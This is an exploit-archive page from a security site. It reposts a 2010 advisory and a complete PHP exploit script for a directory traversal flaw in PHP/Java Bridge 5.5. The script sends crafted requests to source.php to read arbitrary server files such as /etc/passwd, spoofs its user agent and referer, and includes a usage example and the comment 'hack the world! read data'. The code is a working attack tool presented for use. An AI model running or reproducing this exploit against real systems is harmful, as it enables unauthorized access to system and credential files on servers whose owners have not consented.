首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Java Bridge v. 5.5 Directory Traversal Vulnerability
来源:admin@saxtorinc.com 作者:Saxtor 发布时间:2010-09-08  

/*Title: PHP/Java Bridge 5.5
Date : Sep 6, 2010
Author: Saxtor {Location: South America (Guyana)}
Email: admin@saxtorinc.com
Category::  Web Applications 
Verison: 5.5


suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files =>
------------------------------
http://localhost/Javabridge/source.php?source=/etc/passwd
------------------------------
 */
<?php

 /**
 * @param Author   Saxtor Location{South America Guyana}
 * @param Email:   admin@saxtorinc.com
 * @param  Guys please dont beleive in 2012 if you are you are playing a part of getting this world to end :( its all our perception and thinking will cause invent to happen however you will be dead and alive at the same time hehe but for now hack the world! read data
 */


class Javabridgexploit
{
    /**
     * @param Start
     */
    public function __construct($argv)
    {
        $this->Exploit($argv);
    }

    public function arguments($argv)
    {
        $_ARG = array();
        foreach ($argv as $arg)
        {
            if (ereg('--[a-zA-Z0-9]*=.*', $arg))
            {
                $str = split("=", $arg);
                $arg = '';
                $key = ereg_replace("--", '', $str[0]);
                for ($i = 1; $i < count($str); $i++)
                {
                    $arg .= $str[$i];
                }
                $_ARG[$key] = $arg;
            } elseif (ereg('-[a-zA-Z0-9]', $arg))
            {
                $arg = ereg_replace("-", '', $arg);
                $_ARG[$arg] = 'true';
            }

        }
        return $_ARG;
    }

    public function ConnectToVictim($url, $path,
        $dir)
    {
        $link = "$url/$path/source.php?source=$dir";

        $y = preg_match_all("/http:\/\//", $link,
            $array);
        if ($y == 1)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $link);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT,
                "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
            curl_setopt($ch, CURLOPT_REFERER,
                "http://www.x.org");
            $output = curl_exec($ch);


            $x = preg_match_all("%:root:%", $output, $array);
            $guyanarocks = $array[0][0];
            if ($guyanarocks == null)
            {
                echo "No Data Found :(";
            }
            else
            {
                echo $output;
            }


        }
                                else {
                                    die("Invalid Url Must Include http:// example http://php-java-bridge.sourceforge.net");
                                }

    }

    public function Exploit($argv)
    {
        $info = $this->arguments($argv);

        $url  = $info['url'];
        $path = $info['path'];
        $dir  = $info['dir'];

        if ($url == null && $path == null)
        {
            echo "example exploit.php --url=http://php-java-bridge.sourceforge.net --path=examples --dir=/etc/passwd";
        }

        $this->ConnectToVictim($url, $path, $dir);

 

    }

}

$guyanarules = new Javabridgexploit($argv);

 


?>

     


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Novell Netware NWFTPD RMD/RNFR
·ColdCalendar 2.06 SQL Injectio
·win32/vista sp1 ING. (cmd.exe)
·ColdUserGroup 1.06 Blind SQL I
·phpcrs <= 3.Za / Local File In
·QQPlayer 2.3.696.400p1(.wav) D
·IZArc DLL Hijacking (ztv7z.dll
·Internet Download Accelerator
·HP OpenView NNM webappmon.exe
·Integard Home and Pro v2 Remot
·Gantry Framework 3.0.10 (Jooml
·Live School Portal Database Di
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved